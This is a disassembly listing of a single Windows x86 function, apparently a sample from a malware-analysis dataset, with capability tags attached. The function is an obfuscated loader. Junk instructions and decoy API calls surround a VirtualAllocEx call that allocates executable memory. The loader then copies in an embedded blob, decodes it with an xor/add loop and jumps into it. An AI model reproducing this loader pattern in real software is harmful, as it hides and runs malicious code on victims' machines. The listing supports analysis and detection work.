Function at 0x401000
Capabilities:
Allocate or change rwx memory
Authenticate hmac
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x280
sub eax, eax
xor eax, dword [ebp - 0x1bc]
dec eax
add dword [ebp - 0x224], eax
mov dword [ebp - 0x174], eax
add eax, 0x957
add eax, 0x4bf6
test eax, eax
je 0x40105b
sub eax, 0xf2c
and dword [ebp - 0xd4], edx
add dword [ebp - 0x180], edx
mov edx, 0x805
sub dword [ebp - 0x1d4], eax
sub dword [ebp - 0x1e0], 0x2ee0
adc dword [ebp - 0xcc], edx
sbb eax, dword [ebp - 0x68]
adc eax, dword [ebp - 0x244]
xor edx, eax
add edx, eax
call fcn.00404938
mov edx, 0x7aa
and edx, dword [ebp - 0x1b4]
sbb edx, dword [ebp - 0x200]
xor edx, 0xdae
or edx, eax
sbb dword [ebp - 0x1e4], edx
adc dword [ebp - 0x64], edx
and dword [ebp - 0x184], edx
add edx, eax
inc edx
sub eax, dword [ebp - 0x118]
cmp edx, 0
ja 0x4010d0
or eax, dword [ebp - 0x224]
and edx, eax
sub eax, eax
and dword [ebp - 0x98], 0xb7b
xor eax, edx
or eax, dword [ebp - 0x10c]
dec edx
or dword [ebp - 0x1a8], 0x531a
sub edx, dword [ebp - 0x124]
add eax, dword [ebp - 0x1e8]
and edx, eax
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
mov dword [ebp - 0xec], eax
mov ecx, dword [ebp - 0x94]
push ecx
call dword [sym.imp.USER32.dll_IsWindowVisible]
mov dword [ebp - 0x15c], eax
xor eax, eax
sub edx, 0xeec
dec edx
sbb eax, dword [ebp - 0x214]
sub eax, 0x445e
sub eax, edx
mov dword [ebp - 0x88], eax
and dword [ebp - 0x158], eax
add dword [ebp - 0x74], eax
cmp eax, dword [ebp - 0xd4]
jb 0x401161
xor edx, edx
sbb dword [ebp - 0x16c], edx
dec dword [ebp - 0x248]
sub dword [ebp - 0x174], edx
or edx, 0x56d2
inc edx
or eax, 0xeee
or eax, 0x3a5
xor dword [ebp - 0xe0], eax
xor edx, dword [ebp - 0x23c]
or eax, dword [ebp - 0x7c]
and eax, dword [ebp - 0x130]
or eax, edx
xor eax, 0xc2
call fcn.004057c5
mov eax, 0x5c
and eax, dword [ebp - 0x1d4]
add eax, 0x1e25
dec dword [ebp - 0xb0]
cmp eax, 0
jne 0x4011bb
mov ecx, 0x77b
inc dword [ebp - 0x1d4]
sub ecx, eax
sbb ecx, dword [ebp - 0x1e4]
cmp ecx, 0xd24
jae 0x4011be
sub dword [ebp - 0x144], 0x974
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x154], eax
xor eax, ecx
inc eax
inc ecx
sub eax, dword [ebp - 0x214]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x178], eax
mov ecx, dword [ebp - 0x178]
push ecx
call dword [sym.imp.USER32.dll_IsWindowVisible]
mov dword [ebp - 0x180], eax
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
mov dword [ebp - 0x268], eax
push 0x40
push 0x1000
push 0xd000
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x3c], eax
xor eax, eax
and eax, dword [ebp - 0x1e0]
add eax, 0x1c6
inc dword [ebp - 0x1d8]
add eax, ecx
inc eax
add eax, 0x49bd
add dword [ebp - 0x118], 0x857
mov dword [ebp - 0x12c], eax
adc dword [ebp - 0x138], eax
cmp dword [ebp - 0x70], eax
jbe 0x401268
or ecx, eax
mov ecx, 0xf7
add ecx, eax
inc ecx
and ecx, eax
and ecx, dword [ebp - 0x270]
or eax, 0x2a80
add dword [ebp - 0x270], eax
and ecx, dword [ebp - 0x88]
mov esi, dword [ebp - 0x10c]
push esi
call dword [sym.imp.USER32.dll_IsWindowVisible]
mov dword [ebp - 0x1e8], eax
xor eax, eax
or eax, dword [ebp - 0x24c]
xor eax, edx
adc eax, dword [ebp - 0x78]
mov dword [ebp - 0x70], eax
or dword [ebp - 0x16c], 0x14c
dec eax
test eax, eax
jae 0x4012b4
mov edx, dword [ebp - 0x26c]
and edx, 0xb68
xor edx, dword [ebp - 0x26c]
cmp eax, dword [ebp - 0x150]
je 0x4012b4
mov edx, 0x751
xor edx, ecx
xor dword [ebp - 0x1e0], edx
or edx, 0x7d94
sub edx, 0xb4d
cmp edx, 0xd2
je 0x401319
mov ecx, 0xb30
add dword [ebp - 0x1f0], ecx
dec dword [ebp - 0x170]
inc ecx
sub ecx, 0x1179
sbb ecx, dword [ebp - 0x8c]
or dword [ebp - 0x1c0], edx
cmp ecx, dword [ebp - 0x110]
ja 0x40131f
add edx, 0x1eaa
xor edx, ecx
sub dword [ebp - 0x114], 0x30f
xor edx, ecx
xor edx, ecx
xor edx, ecx
sub edx, dword [ebp - 0x11c]
add dword [ebp - 0x60], 0x871
xor ecx, edx
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov eax, dword [ebp - 0xa4]
push eax
call dword [sym.imp.USER32.dll_IsWindowVisible]
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x26c]
push ecx
call dword [sym.imp.USER32.dll_IsWindowVisible]
mov edx, dword [ebp - 0x248]
add edx, dword [ebp - 0x22c]
xor edx, 0xc02
dec edx
or ecx, 0x1bca
or dword [ebp - 0x7c], edx
or dword [ebp - 0x1d0], edx
or edx, 0xe09
and edx, ecx
xor edx, 0x59d
cmp edx, 0
jne 0x4013b1
sub ecx, ecx
sub dword [ebp - 0x164], ecx
and dword [ebp - 0x70], ecx
or ecx, 0x3a8c
and ecx, 0xb59
or ecx, dword [ebp - 0x210]
cmp ecx, 0x96
jne 0x4013b1
and ecx, 0x29d
xor edx, ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x128], eax
mov edx, dword [ebp - 0x168]
adc edx, dword [ebp - 0x100]
xor edx, ecx
add edx, ecx
add dword [ebp - 0x258], edx
cmp edx, 0x87c
jae 0x401437
sub dword [ebp - 0x1c4], edx
and dword [ebp - 0x54], 0xe93
dec dword [ebp - 0x138]
xor dword [ebp - 0x100], edx
or dword [ebp - 0x74], edx
mov ecx, dword [ebp - 0xac]
or dword [ebp - 0x170], 0x23c
sbb ecx, dword [ebp - 0x198]
add dword [ebp - 0x224], 0xbca
inc dword [ebp - 0x144]
sbb dword [ebp - 0x1b0], edx
dec dword [ebp - 0x1dc]
adc ecx, dword [ebp - 0x9c]
adc ecx, dword [ebp - 0xb8]
or ecx, edx
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov dword [ebp - 0x124], eax
mov esi, dword [ebp - 0x120]
push esi
call dword [sym.imp.USER32.dll_IsWindowVisible]
mov dword [ebp - 0x148], eax
mov eax, dword [ebp - 0x10c]
push eax
call dword [sym.imp.USER32.dll_IsWindowVisible]
mov dword [ebp - 0x278], eax
mov edx, dword [ebp - 0x158]
add dword [ebp - 0x1f0], 0xb3c
sub dword [ebp - 0x234], eax
add dword [ebp - 0x9c], 0xfbb
sub eax, dword [ebp - 0x78]
adc eax, dword [ebp - 0x1d4]
or edx, dword [ebp - 0x1a4]
dec edx
xor edx, eax
and dword [ebp - 0x178], 0x21
xor edx, eax
inc edx
cmp dword [ebp - 0x224], edx
ja 0x4014d7
add eax, dword [ebp - 0x110]
mov eax, dword [ebp - 0x150]
add eax, edx
or eax, dword [ebp - 0x104]
and edx, eax
and edx, eax
sub dword [ebp - 0x128], 0xdac
or dword [ebp - 0xe8], eax
and edx, dword [ebp - 0x13c]
sub edx, dword [ebp - 0x22c]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x99e
and dword [ebp - 0x124], eax
xor ecx, dword [ebp - 0x228]
and ecx, 0x1181
sub ecx, 0x647d
and dword [ebp - 0x1cc], 0x16c0
cmp ecx, 0xfc4
ja 0x40156e
xor dword [ebp - 0x50], 0xa16
or dword [ebp - 0x140], 0x40e
xor dword [ebp - 0xb4], ecx
xor dword [ebp - 0x210], ecx
dec ecx
sub eax, eax
sub dword [ebp - 0x20c], eax
or dword [ebp - 0xd0], 0x7cfd
and eax, ecx
or eax, dword [ebp - 0x160]
and ecx, eax
add ecx, 0x604
add dword [ebp - 0x1c0], eax
push 0xd95
push 0x4262fc
mov edi, dword [ebp - 0x3c]
push edi
call dword [sym.imp.MSVCRT.dll_memmove]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov dword [ebp - 0x15c], eax
mov eax, dword [ebp - 0x200]
add dword [ebp - 0x80], 0x683
xor dword [ebp - 0x218], eax
cmp eax, 0x790
jb 0x4015d5
sub edx, edx
xor dword [ebp - 0x260], 0x2c5
and edx, eax
inc edx
and edx, eax
add edx, eax
test edx, edx
jae 0x4015e1
or eax, dword [ebp - 0x180]
or dword [ebp - 0x19c], eax
sub dword [ebp - 0xa8], eax
xor dword [ebp - 0x1b0], edx
mov edx, dword [ebp - 0x1bc]
push edx
call dword [sym.imp.USER32.dll_IsWindowVisible]
mov dword [ebp - 0x78], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov dword [ebp - 0x184], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov dword [ebp - 0x234], eax
mov eax, dword [ebp - 0x1cc]
or eax, dword [ebp - 0x1c8]
add eax, dword [ebp - 0xa0]
or eax, ecx
or eax, 0x130b
cmp eax, 0x959
je 0x401666
mov ecx, 0x38
and dword [ebp - 0x158], ecx
mov dword [ebp - 0x234], ecx
dec ecx
add ecx, 0x1244
and ecx, dword [ebp - 0xb0]
adc ecx, dword [ebp - 0xd0]
dec dword [ebp - 0x19c]
cmp ecx, 0x36
jne 0x40166c
add eax, 0x442
and ecx, dword [ebp - 0x1dc]
call dword [sym.imp.USER32.dll_GetActiveWindow]
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov dword [ebp - 0x130], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x74], eax
mov ecx, dword [ebp - 0xe0]
or ecx, dword [ebp - 0x1ec]
sub ecx, 0x25f5
sub dword [ebp - 0x78], 0x4b39
add dword [ebp - 0x170], ecx
test ecx, ecx
jne 0x4016db
mov eax, 1
or dword [ebp - 0x1a8], 0x5a63
xor dword [ebp - 0x21c], eax
add eax, ecx
xor eax, dword [ebp - 0x238]
adc eax, dword [ebp - 0x274]
cmp ecx, 0xed
je 0x4016db
and ecx, dword [ebp - 0x23c]
sub eax, dword [ebp - 0x110]
or ecx, dword [ebp - 0xe4]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov dword [ebp - 0xd0], eax
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov dword [ebp - 0x6c], eax
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
xor edx, edx
dec edx
and edx, 0x674a
or dword [ebp - 0x1dc], 0x375
mov dword [ebp - 0x220], edx
sub edx, ecx
and edx, 0x1ec
add edx, 0x6c68
cmp dword [ebp - 0x190], edx
ja 0x40174e
mov ecx, 0xf36
and ecx, 6
dec ecx
cmp ecx, 0
je 0x401762
adc edx, dword [ebp - 0x1ec]
and dword [ebp - 0x21c], 0x4fc7
add dword [ebp - 0x210], 0x37a0
add dword [ebp - 0x13c], 0x831
mov edx, dword [ebp - 0xfc]
push edx
call dword [sym.imp.USER32.dll_IsWindowVisible]
mov dword [ebp - 0x130], eax
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
mov dword [ebp - 0x1c8], eax
xor eax, eax
add eax, dword [ebp - 0x150]
xor eax, 0x7c2
dec eax
add eax, 0x7797
xor eax, 0x14dc
or eax, ecx
sub eax, ecx
cmp dword [ebp - 0xc4], eax
je 0x4017f2
mov ecx, 0xd
sub dword [ebp - 0x164], 0x4af
dec ecx
sub ecx, 0x4e5
cmp eax, 0x87
jbe 0x4017f2
and dword [ebp - 0x84], eax
add dword [ebp - 0x124], eax
or dword [ebp - 0xac], 0x2bba
xor eax, dword [ebp - 0xc8]
and eax, dword [ebp - 0x17c]
and dword [ebp - 0xd8], eax
or dword [ebp - 0x8c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0xa4], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov dword [ebp - 0x1fc], eax
sub eax, eax
or eax, 0x530
and eax, 0x13e1
sbb eax, dword [ebp - 0x134]
add eax, dword [ebp - 0x19c]
add eax, 0x7072
or eax, ecx
or dword [ebp - 0xac], 0x455
and eax, ecx
add eax, ecx
cmp eax, dword [ebp - 0x1f4]
jbe 0x4018ca
sub dword [ebp - 0x19c], 0x29d4
xor dword [ebp - 0xa8], 0x5354
add dword [ebp - 0x210], 0x7d6
add ecx, dword [ebp - 0xe0]
xor dword [ebp - 0x190], 0x657
mov ecx, dword [ebp - 0xb0]
sbb dword [ebp - 0x80], ecx
add ecx, dword [ebp - 0x1c4]
add dword [ebp - 0x6c], 0x637c
inc dword [ebp - 0x1e8]
and dword [ebp - 0x264], 0x79db
and eax, ecx
or eax, 0xbde
or eax, 0x5d48
sbb ecx, dword [ebp - 0x220]
xor dword [ebp - 0x18c], ecx
sub dword [ebp - 0x274], ecx
mov dword [ebp - 0x68], ecx
xor eax, ecx
or dword [ebp - 0x88], ecx
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
mov dword [ebp - 0x164], eax
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
mov dword [ebp - 0x6c], eax
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
mov dword [ebp - 0x1fc], eax
sub ecx, ecx
add eax, dword [ebp - 0x180]
or dword [ebp - 0x180], 0x27f1
cmp ecx, dword [ebp - 0xe0]
jae 0x40195a
sub ecx, eax
add dword [ebp - 0x16c], ecx
mov eax, dword [ebp - 0x240]
or dword [ebp - 0x11c], 0x4cb
sub dword [ebp - 0xc4], 0xc83
and eax, ecx
xor ecx, 0x9b0
inc ecx
and dword [ebp - 0x204], 0x23e5
inc dword [ebp - 0xac]
adc dword [ebp - 0x80], ecx
add ecx, dword [ebp - 0x1ac]
sbb ecx, dword [ebp - 0x274]
xor eax, ecx
xor dword [ebp - 0x228], ecx
inc dword [ebp - 0x160]
xor dword [ebp - 0x214], ecx
sub dword [ebp - 0xa8], 0x53e
mov edi, dword [ebp - 0x3c]
mov edx, 0x1000
mov ecx, 0x8100de8f
mov esi, dword [edi]
xor esi, ecx
add esi, ecx
xor esi, ecx
add esi, ecx
xor esi, ecx
add esi, ecx
mov dword [edi], esi
sub edi, 0xfffffffc
dec edx
cmp edx, 0
jne 0x401983
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov dword [ebp - 0x70], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x154]
push eax
call dword [sym.imp.USER32.dll_IsWindowVisible]
mov dword [ebp - 0x21c], eax
mov ecx, dword [ebp - 0x22c]
push ecx
call dword [sym.imp.USER32.dll_IsWindowVisible]
mov eax, dword [ebp - 0x154]
push eax
call dword [sym.imp.USER32.dll_IsWindowVisible]
mov edx, 0x90
or eax, dword [ebp - 0x274]
adc edx, dword [ebp - 0x234]
and edx, dword [ebp - 0x1e4]
and edx, 0x5c6e
inc edx
xor dword [ebp - 0xb4], edx
or edx, eax
and edx, 0x439
adc dword [ebp - 0xd0], eax
sub dword [ebp - 0xc8], eax
or dword [ebp - 0x254], eax
cmp edx, dword [ebp - 0x1f8]
jne 0x401a7f
add dword [ebp - 0x120], edx
or dword [ebp - 0xb4], 0x20e7
sub dword [ebp - 0xb4], 0x1bbf
xor eax, eax
xor dword [ebp - 0x1e8], eax
adc eax, dword [ebp - 0xc8]
and eax, dword [ebp - 0x14c]
inc edx
add edx, eax
dec dword [ebp - 0x274]
or dword [ebp - 0x1b0], edx
sbb edx, dword [ebp - 0x1f8]
and edx, dword [ebp - 0x19c]
sbb dword [ebp - 0x228], eax
adc dword [ebp - 0x1d4], eax
add eax, dword [ebp - 0xd4]
xor edx, dword [ebp - 0x168]
mov esi, dword [ebp - 0x234]
push esi
call dword [sym.imp.USER32.dll_IsWindowVisible]
mov dword [ebp - 0x70], eax
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
mov eax, dword [ebp - 0x1b0]
and eax, edx
sub eax, edx
or dword [ebp - 0x278], eax
mov dword [ebp - 0x1b4], eax
inc eax
cmp eax, 0
jbe 0x401aea
adc dword [ebp - 0x88], eax
add dword [ebp - 0x98], 0x5bc
mov edx, dword [ebp - 0x198]
and dword [ebp - 0x150], edx
add edx, 0xaa6
or edx, 0x1df7
and edx, dword [ebp - 0x220]
dec eax
sub edx, eax
and edx, eax
add edx, eax
xor edx, eax
xor dword [ebp - 0x1c4], 0x10b5
adc dword [ebp - 0xcc], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0xd0], eax
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x260]
push edx
call dword [sym.imp.USER32.dll_IsWindowVisible]
mov dword [ebp - 0x214], eax
mov ecx, 0xa7
adc ecx, dword [ebp - 0x124]
sbb ecx, dword [ebp - 0x214]
xor dword [ebp - 0xe0], ecx
xor dword [ebp - 0x134], ecx
test ecx, ecx
ja 0x401b86
xor edx, edx
add edx, 0x8c6
xor edx, 0xc29
xor edx, dword [ebp - 0x94]
xor edx, 0x478
cmp edx, dword [ebp - 0x1f0]
jne 0x401b86
add ecx, dword [ebp - 0x58]
and ecx, dword [ebp - 0x1b8]
dec dword [ebp - 0xf0]
inc dword [ebp - 0x1c4]
or dword [ebp - 0xb8], ecx
or ecx, dword [ebp - 0xa4]
sbb dword [ebp - 0x84], edx
adc dword [ebp - 0x64], edx
mov edi, dword [ebp - 0x22c]
push edi
call dword [sym.imp.USER32.dll_IsWindowVisible]
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov dword [ebp - 0x78], eax
push 0x409021
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, eax
mov eax, 0x3f
xor dword [ebp - 0x5c], 0x11a
sbb eax, dword [ebp - 0xfc]
sub eax, esi
sbb dword [ebp - 0xe8], eax
and eax, 0xb4
inc esi
or esi, eax
add esi, 0xb5d
cmp eax, dword [ebp - 0x160]
jb 0x401c04
sub esi, esi
dec esi
and esi, dword [ebp - 0x15c]
dec dword [ebp - 0x60]
adc esi, dword [ebp - 0xa8]
sbb esi, dword [ebp - 0x160]
sub eax, esi
dec eax
and dword [ebp - 0x150], 0xda5
and dword [ebp - 0x274], 0x438f
inc dword [ebp - 0x188]
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1e0]
xor eax, 0x32a
sub dword [ebp - 0x160], eax
inc eax
or eax, esi
cmp eax, dword [ebp - 0x248]
jb 0x401c57
xor esi, esi
inc dword [ebp - 0xf8]
xor esi, eax
dec esi
cmp esi, dword [ebp - 0x1fc]
jbe 0x401c63
add eax, dword [ebp - 0x1b4]
or eax, 0x6445
xor eax, 0x6957
add dword [ebp - 0x1bc], esi
adc dword [ebp - 0x1e8], esi
mov dword [ebp - 0x164], esi
jmp ecx